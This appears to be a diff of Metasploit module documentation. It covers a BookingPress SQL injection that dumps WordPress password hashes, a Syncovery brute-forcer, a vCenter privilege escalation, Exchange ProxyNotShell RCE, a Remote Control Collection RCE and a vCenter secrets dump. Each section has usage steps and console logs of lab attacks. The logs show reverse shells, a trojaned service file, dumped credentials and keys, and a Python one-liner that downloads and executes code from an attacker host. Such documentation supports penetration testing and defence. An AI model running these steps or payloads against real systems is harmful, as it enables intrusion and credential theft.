|
||||
Plugin installed successfully.
|
||||
```
|
||||
|
||||
Click `Activate Plugin`.
|
||||
|
||||
The BookingPress plugin has to be in use on the WordPress site in order to exploit the vulnerability.
|
||||
To activate it, follow the directions below:
|
||||
|
||||
1. Navigate to `/wp-admin/admin.php?page=bookingpress_services`.
|
||||
1. Click `Manage Categories`, then click `+ Add New`, enter a `Category Name` and click `Save`.
|
||||
1. Beside `Manage Services` click `+ Add New`, enter a `Service Name`, enter the Category you just created in the `Category` dropdown, enter a `Price` and click `Save`.
|
||||
1. Select `+ New` at the top of the screen and then select `Page` from the dropdown to create a new WordPress page.
|
||||
1. Paste `[bookingpress_form]` on the new page and click `publish`.
|
||||
1. Navigate to `/bookingpress/` and you should see BookPress running with the Category / Service you created in step 1.
|
||||
|
||||
### Installation Notes
|
||||
You may need to increase the size of file uploads to install the BookingPress plugin. To do this, you can use
|
||||
https://wordpress.org/plugins/tuxedo-big-file-uploads/ or https://wordpress.org/plugins/wp-maximum-upload-file-size/
|
||||
to increase the file upload size. I then had to some fiddling around since it may take some time for the changes
|
||||
to be picked up. You may have success if you also install https://wordpress.org/plugins/custom-php-settings/, so
|
||||
this is worth a shot if you are having issues.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
1. Do: `use auxiliary/gather/wp_bookingpress_category_services_sqli`.
|
||||
1. Set the options `RHOSTS` to the target WordPress host IP address.
|
||||
1. Set `RPORT` to the port that the target WordPress install is running on.
|
||||
1. Set `BOOKING_PRESS_PAGE` to the path on the WordPress host where the BookingPress make a booking page is.
|
||||
1. Verify visiting this URL shows "Select Category" and "Select Service" on the resulting page.
|
||||
1. Run the module.
|
||||
1. Receive a table of WordPress users and their associated email addresses and password hashes.
|
||||
|
||||
## Scenarios
|
||||
### Booking Press 1.0.10, WordPress Running Via Docksal, Ubuntu 20.04
|
||||
```
|
||||
msf6 > use gather/wp_bookingpress_category_services_sqli
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rhosts localhost
|
||||
rhosts => localhost
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rport 8000
|
||||
rport => 8000
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Extracting credential information
|
||||
Wordpress User Credentials
|
||||
==========================
|
||||
|
||||
Username Email Hash
|
||||
-------- ----- ----
|
||||
admin admin@admin.com $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
|
||||
hackerman hackerman@hacktheworld.io $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
|
||||
mr_metasploit mr_metasploit@metaslpoit.org $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
|
||||
msfuser msfuser@rapid7.com $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
|
||||
todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set AutoCheck false
|
||||
AutoCheck => false
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
|
||||
|
||||
[!] AutoCheck is disabled, proceeding with exploitation
|
||||
[*] Extracting credential information
|
||||
Wordpress User Credentials
|
||||
==========================
|
||||
|
||||
Username Email Hash
|
||||
-------- ----- ----
|
||||
admin admin@admin.com $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
|
||||
hackerman hackerman@hacktheworld.io $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
|
||||
mr_metasploit mr_metasploit@metaslpoit.org $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
|
||||
msfuser msfuser@rapid7.com $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
|
||||
todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) >
|
||||
```
|
||||
|
||||
### Booking Press 1.0.10, WordPress Latest Docker Image on Debian 11 (bullseye)
|
||||
```
|
||||
msf6 > use auxiliary/gather/wp_bookingpress_category_services_sqli
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RPORT 8000
|
||||
RPORT => 8000
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI "/?page_id=10"
|
||||
TARGETURI => /?page_id=10
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > show options
|
||||
|
||||
Module options (auxiliary/gather/wp_bookingpress_category_services_sqli):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 8000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /?page_id=10 yes The URL of the BookingPress appointment booking page
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > check
|
||||
[+] 127.0.0.1:8000 - The target is vulnerable.
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > exploit
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Extracting credential information
|
||||
Wordpress User Credentials
|
||||
==========================
|
||||
|
||||
Username Email Hash
|
||||
-------- ----- ----
|
||||
normal normal@test.com $P$Bu9/XNK93oyUTKO.zJ9yGZfYAcbZg9.
|
||||
testAdmin test@testfakeness.com $P$BYWtZOfh8yqLCKA877hwBysqGdRtk/.
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) >
|
||||
```
|
||||
@@ -0,0 +1,81 @@
|
||||
## Vulnerable Application
|
||||
[Syncovery For Linux with Web-GUI](https://www.syncovery.com/download/linux/)
|
||||
|
||||
This module attempts to brute-force valid login credentials for the Syncovery File Sync & Backup Software Web-GUI for Linux.
|
||||
The default credentials are checked by default.
|
||||
|
||||
### Authors
|
||||
|
||||
- Jan Rude (mgm security partners GmbH)
|
||||
|
||||
### Platforms
|
||||
|
||||
- Unix
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use modules/auxiliary/scanner/http/syncovery_linux_login`
|
||||
4. Do: `set RHOSTS <TARGET HOSTS>`
|
||||
5. Do: `run`
|
||||
6. On success you should get valid credentials.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
Username used for login. Default is "default".
|
||||
|
||||
### PASSWORD
|
||||
Password used for login. Default is "pass".
|
||||
|
||||
### TARGETURI
|
||||
The path to Syncovery login.
|
||||
|
||||
### PORT
|
||||
The (TCP) target port on which Syncovery is running. By default port 8999 is used for HTTP and port 8943 is used for HTTPS.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Syncovery for Linux with default credentials
|
||||
|
||||
```
|
||||
msf6 > use modules/auxiliary/scanner/http/syncovery_linux_login
|
||||
msf6 auxiliary(scanner/http/syncovery_linux_login) > set rhosts 192.168.178.26
|
||||
rhosts => 192.168.178.26
|
||||
msf6 auxiliary(scanner/http/syncovery_linux_login) > options
|
||||
|
||||
Module options (auxiliary/scanner/http/syncovery_linux_login):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BLANK_PASSWORDS false no Try blank passwords for all users
|
||||
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
|
||||
DB_ALL_CREDS false no Try each user/password couple stored in the current database
|
||||
DB_ALL_PASS false no Add all passwords in the current database to the list
|
||||
DB_ALL_USERS false no Add all users in the current database to the list
|
||||
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
|
||||
PASSWORD pass no The password to Syncovery (default: pass)
|
||||
PASS_FILE no File containing passwords, one per line
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.178.26 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 8999 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
|
||||
TARGETURI / no The path to Syncovery
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME default yes The username to Syncovery (default: default)
|
||||
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
|
||||
USER_AS_PASS false no Try the username as the password for all users
|
||||
USER_FILE no File containing usernames, one per line
|
||||
VERBOSE true yes Whether to print output for all attempts
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf6 auxiliary(scanner/http/syncovery_linux_login) > run
|
||||
|
||||
[+] 192.168.178.26:8999 - Syncovery File Sync & Backup Software confirmed
|
||||
[+] 192.168.178.26:8999 - Identified version: 9.48a
|
||||
[+] 192.168.178.26:8999 - Success: 'default:pass'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
|
||||
`/usr/lib/vmware-vmon/java-wrapper-vmon` file. It is possible for anyone in the
|
||||
`cis` group to write to the file, which will execute as root on `vmware-vmon` service
|
||||
restart or host reboot.
|
||||
|
||||
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
|
||||
|
||||
The following versions should be vulnerable:
|
||||
- vCenter 7.0 before U2c
|
||||
- vCenter 6.7 before U3o
|
||||
- vCenter 6.5 before U3q
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Obtain a shell on vCenter for a user in the `cis` group.
|
||||
3. Do: `use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc`
|
||||
4. Do: `set session #`
|
||||
5. Do: `run`
|
||||
6. Restart the host, or the service (`systemctl restart vmware-vmon.service`) with a user who has permission
|
||||
7. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware VirtualCenter 6.5.0 build-7070488
|
||||
|
||||
Get initial shell (any vic group member will do, here we use vsphere-client)
|
||||
|
||||
```
|
||||
[*] Processing java_wrapper.rb for ERB directives.
|
||||
resource (java_wrapper.rb)> use multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (java_wrapper.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (java_wrapper.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Using URL: http://2.2.2.2:8080/cFK3ylrNE9s
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://2.2.2.2:8080/cFK3ylrNE9s', context=ssl._create_unverified_context());exec(r.read());"
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] 1.1.1.1 web_delivery - Delivering Payload (432 bytes)
|
||||
[*] Sending stage (24380 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:59084) at 2022-11-20 10:45:06 -0500
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: vsphere-client
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.ragedomain
|
||||
OS : Linux 4.4.8 #1-photon SMP Fri Oct 21 20:13:51 UTC 2016
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > shell
|
||||
Process 6710 created.
|
||||
Channel 1 created.
|
||||
vpxd -v
|
||||
/usr/sbin/vpxd: line 34: ulimit: open files: cannot modify limit: Operation not permitted
|
||||
sed: couldn't open temporary file /etc/vmware-vpx/sedXf9kV4: Permission denied
|
||||
VMware VirtualCenter 6.5.0 build-7070488
|
||||
^Z
|
||||
Background channel 1? [y/N] y
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Conduct the priv esc
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > jobs -K
|
||||
Stopping all jobs...
|
||||
|
||||
[*] Server stopped.
|
||||
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * incompatible session architecture: python
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. /usr/lib/vmware-vmon/java-wrapper-vmon is writable and owned by cis group
|
||||
[+] Original /usr/lib/vmware-vmon/java-wrapper-vmon backed up to /root/.msf4/loot/20221120104723_default_1.1.1.1_javawrappervmo_605726.txt
|
||||
[*] Writing payload to /tmp/.BCOL6n
|
||||
[*] Writing '/tmp/.BCOL6n' (250 bytes) ...
|
||||
[*] Writing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon
|
||||
[*] Attempting to restart vmware-vmon service
|
||||
[-] vmware-vmon service needs to be restarted, or host rebooted to obtain shell.
|
||||
[*] Waiting 1800 seconds for shell
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045348 bytes) to 1.1.1.1
|
||||
[+] Deleted /tmp/.BCOL6n
|
||||
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:32906) at 2022-11-20 10:47:52 -0500
|
||||
[*] Replacing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon with original
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
||||
+10
-2
@@ -1,10 +1,18 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
|
||||
The following versions of Zimbra are vulnerable:
|
||||
|
||||
* Zimbra Collaboration Suite 9.0.0 Patch 26 and earlier
|
||||
* Zimbra Collaboration Suite 8.8.15 Patch 33 and earlier
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
|
||||
Install Zimbra on any supported Linux version and get a session as the `zimbra`
|
||||
user. The easiest way to exploit zimbra is to `rm $(which pax)`, reboot, and
|
||||
use CVE-2022-41352. Or generate a Meterpreter payload with `msfvenom` and run
|
||||
it.
|
||||
|
||||
From there:
|
||||
|
||||
```
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
|
||||
@@ -0,0 +1,66 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker
|
||||
to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to
|
||||
obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019.
|
||||
|
||||
By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
|
||||
|
||||
This vulnerability affects:
|
||||
|
||||
* Exchange 2013 CU23 < 15.0.1497.44
|
||||
* Exchange 2016 CU22 < 15.1.2375.37
|
||||
* Exchange 2016 CU23 < 15.1.2507.16
|
||||
* Exchange 2019 CU11 < 15.2.986.36
|
||||
* Exchange 2019 CU12 < 15.2.1118.20
|
||||
|
||||
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 8, 2022 (KB5019758)][1]*
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/http/exchange_proxynotshell_rce`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `set USERNAME [USERNAME]`
|
||||
5. Do: `set PASSWORD [PASSWORD]`
|
||||
6. Do: `run`
|
||||
|
||||
## Advanced Options
|
||||
### EemsBypass
|
||||
|
||||
Technique to bypass the EEMS rule.
|
||||
|
||||
**none** -- Make no attempt to bypass the EEMS rule. This can be used with the `check` method to determine if the EEMS
|
||||
M1 rule is applied.
|
||||
**IBM037v1** -- Use IBM037 encoding combined with the `X-Up-Devcap-Post-Charset` header and `UP` User-Agent prefix. See
|
||||
[ProxyNotRelay][2] for more information.
|
||||
|
||||
### MaxBackendRetries
|
||||
|
||||
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
|
||||
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version and OS
|
||||
|
||||
```
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11
|
||||
RHOSTS => 192.168.159.11
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Sending stage (175686 bytes) to 192.168.159.11
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:7290) at 2022-11-18 17:32:18 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d
|
||||
[2]: https://rw.md/2022/11/09/ProxyNotRelay.html
|
||||
@@ -10,9 +10,9 @@ This vulnerability affects:
|
||||
|
||||
* Exchange 2013 CU23 < 15.0.1497.15
|
||||
* Exchange 2016 CU19 < 15.1.2176.12
|
||||
* Exchange 2016 CU20 < 15.1.2242.5
|
||||
* Exchange 2016 CU20 < 15.1.2242.8
|
||||
* Exchange 2019 CU8 < 15.2.792.13
|
||||
* Exchange 2019 CU9 < 15.2.858.9
|
||||
* Exchange 2019 CU9 < 15.2.858.10
|
||||
|
||||
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
|
||||
|
||||
@@ -87,6 +87,11 @@ The path where you want to write the backdoor. Default: `aspnet_client`
|
||||
|
||||
This is MAPI client version sent in the request.
|
||||
|
||||
### MaxBackendRetries
|
||||
|
||||
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
|
||||
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange 2016 CU 19 on Server 2016
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module utilizes the Remote Control Server's, part
|
||||
of the Remote Control Collection by Steppschuh, protocol
|
||||
to deploy a payload and run it from the server. This module will only deploy
|
||||
a payload if the server is set without a password (default).
|
||||
Tested against 3.1.1.12, current at the time of module writing
|
||||
|
||||
Version 3.1.1.12 can be downloaded from http://remote-control-collection.com/
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/misc/remote_control_collection_rce`
|
||||
4. Set `rhost` and `lhost` as required.
|
||||
5. Do: `run`
|
||||
6. You should get a shell as the user who is running Remote Mouse.
|
||||
|
||||
## Options
|
||||
|
||||
### PATH
|
||||
|
||||
The location to write the payload to
|
||||
Defaults to `%temp%\\` aka `c:\\Windows\\Temp\\` on most systems.
|
||||
|
||||
### SLEEP
|
||||
|
||||
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
|
||||
Defaults to `1`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Remote Control Server 3.1.1.12 on Windows 10
|
||||
|
||||
```
|
||||
resource (remote_mouse.rb)> use exploits/windows/misc/remote_mouse_rce
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
resource (remote_mouse.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (remote_mouse.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (remote_mouse.rb)> set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(windows/misc/remote_mouse_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] 1.1.1.1:1978 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] 1.1.1.1:1978 - The target appears to be vulnerable. Received handshake with version: 411
|
||||
[*] 1.1.1.1:1978 - Connecting
|
||||
[*] 1.1.1.1:1978 - Sending Windows key
|
||||
[*] 1.1.1.1:1978 - Opening command prompt
|
||||
[*] 1.1.1.1:1978 - Sending stager
|
||||
[*] 1.1.1.1:1978 - Using URL: http://2.2.2.2:8080/
|
||||
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
|
||||
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
|
||||
[*] 1.1.1.1:1978 - Executing payload
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 1.1.1.1
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:49962) at 2022-09-27 16:33:02 -0400
|
||||
[*] 1.1.1.1:1978 - Server stopped.
|
||||
[!] 1.1.1.1:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\NADYvmtxr.exe' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.16299.125]
|
||||
-----
|
||||
|
||||
|
||||
C:\Users\windows>whoami
|
||||
whoami
|
||||
win10prolicense\windows
|
||||
|
||||
C:\Users\windows>systeminfo
|
||||
systeminfo
|
||||
|
||||
Host Name: WIN10PROLICENSE
|
||||
OS Name: Microsoft Windows 10 Pro
|
||||
OS Version: 10.0.16299 N/A Build 16299
|
||||
```
|
||||
|
||||
### Remote Control Server 3.1.1.12 on Windows 10, with a password
|
||||
|
||||
Expected to fail.
|
||||
|
||||
```
|
||||
resource (remote_control_collection.rb)> use exploits/windows/misc/remote_control_collection_rce
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
resource (remote_control_collection.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (remote_control_collection.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (remote_control_collection.rb)> set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(windows/misc/remote_control_collection_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Connecting and Sending Windows key
|
||||
[*] Opening command prompt
|
||||
[*] Sending stager
|
||||
[*] Using URL: http://2.2.2.2:8080/
|
||||
[*] Executing payload
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'c:\Windows\Temp\OqsTi76PX80it.exe' on the target
|
||||
[*] Exploit completed, but no session was created
|
||||
```
|
||||
@@ -274,3 +274,79 @@ msf6 post(linux/gather/vcenter_secrets_dump) > dump
|
||||
[+] AD User: sam@cesium137.io
|
||||
[+] AD Pass: Gr33n3gg$!
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
Example run from meterpreter session on vCenter appliance version 6.7 build-18831049
|
||||
|
||||
```
|
||||
msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump
|
||||
msf6 post(linux/gather/vcenter_secrets_dump) > set session 1
|
||||
session => 1
|
||||
msf6 post(linux/gather/vcenter_secrets_dump) > run
|
||||
[*] VMware VirtualCenter 6.7.0 build-18831049
|
||||
[*] vCenter Appliance (Embedded)
|
||||
[*] Validating target
|
||||
[*] Appliance IPv4: 2.2.2.2
|
||||
[*] Appliance Hostname: photon-machine.ragedomain
|
||||
[*] Appliance OS: VMware Photon Linux 1.0-62c543d
|
||||
[*] Gathering vSphere SSO domain information
|
||||
[+] vSphere SSO DC DN: cn=photon-machine.ragedomain,ou=Domain Controllers,dc=vsphere,dc=local
|
||||
[+] vSphere SSO DC PW: )sM8M]h,YZBQ:kY['h^(
|
||||
[*] Extracting tenant and vpx AES encryption key...
|
||||
[+] vSphere Tenant AES encryption
|
||||
[+] KEY: ]E6"Jg7V}d{!Q:Lh
|
||||
[+] HEX: 5d4536224a6737567d647b21513a4c68
|
||||
[+] vSphere vmware-vpx AES encryption
|
||||
[+] HEX: ac20416a5850df52f1bf889440995871ba52984a893dbe44fd71c5c768aea3be
|
||||
[*] Extracting PostgreSQL database credentials
|
||||
[+] VCDB Name: VCDB
|
||||
[+] VCDB User: vc
|
||||
[+] VCDB Pass: MB&|<)haN6Q>{K3O
|
||||
[*] Checking for VPX Users
|
||||
[-] No VPXUSER entries were found
|
||||
[*] Extract ESXi host vpxuser credentials
|
||||
[!] No ESXi hosts attached to this vCenter system
|
||||
[*] Extracting vSphere SSO domain secrets
|
||||
[*] Dumping vmdir schema to LDIF and storing to loot...
|
||||
[!] Unable to retrieve ldif contents
|
||||
WARNING: there is already a transaction in progress
|
||||
[-] Error processing LDIF file
|
||||
[*] Extracting certificates from vSphere platform
|
||||
[+] VMCA_ROOT key: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_523828.key
|
||||
[+] VMCA_ROOT cert: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_694934.pem
|
||||
[+] SSO_STS_IDP key: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_031902.key
|
||||
[+] SSO_STS_IDP cert: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_256763.pem
|
||||
[+] MACHINE_SSL_CERT Key: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_448485.key
|
||||
[+] MACHINE_SSL_CERT Cert: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_793765.pem
|
||||
[+] MACHINE Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_336860.key
|
||||
[+] MACHINE Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_588424.pem
|
||||
[+] VSPHERE-WEBCLIENT Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_567378.key
|
||||
[+] VSPHERE-WEBCLIENT Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_997605.pem
|
||||
[+] VPXD Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_521342.key
|
||||
[+] VPXD Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_415704.pem
|
||||
[+] VPXD-EXTENSION Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_152066.key
|
||||
[+] VPXD-EXTENSION Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_359784.pem
|
||||
[+] DATA-ENCIPHERMENT Key: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_517854.key
|
||||
[+] DATA-ENCIPHERMENT Cert: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_408460.pem
|
||||
[+] SMS Key: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_777691.key
|
||||
[+] SMS Cert: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_215695.pem
|
||||
[*] Searching for secrets in VM Guest Customization Specification XML
|
||||
[!] No vpx_customization_spec entries evident
|
||||
[*] Retrieving .pgpass file
|
||||
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for localhost:replication
|
||||
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for 127.0.0.1:replication
|
||||
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for /var/run/vpostgres:replication
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:postgres
|
||||
[+] posgres database creds found: postgres, md5fdb13b980a01e3d1ae99b5b55b6e4303
|
||||
[+] posgres database creds found: replicator, md5c2a01981014a380b63c0c7c66ad77ba9
|
||||
[+] posgres database creds found: vc, md53b5a9fc0dd6c99567e9ca27c459b43d9
|
||||
[+] posgres database creds found: vumuser, md5fc719b1b56f02981027379fd15125feb
|
||||
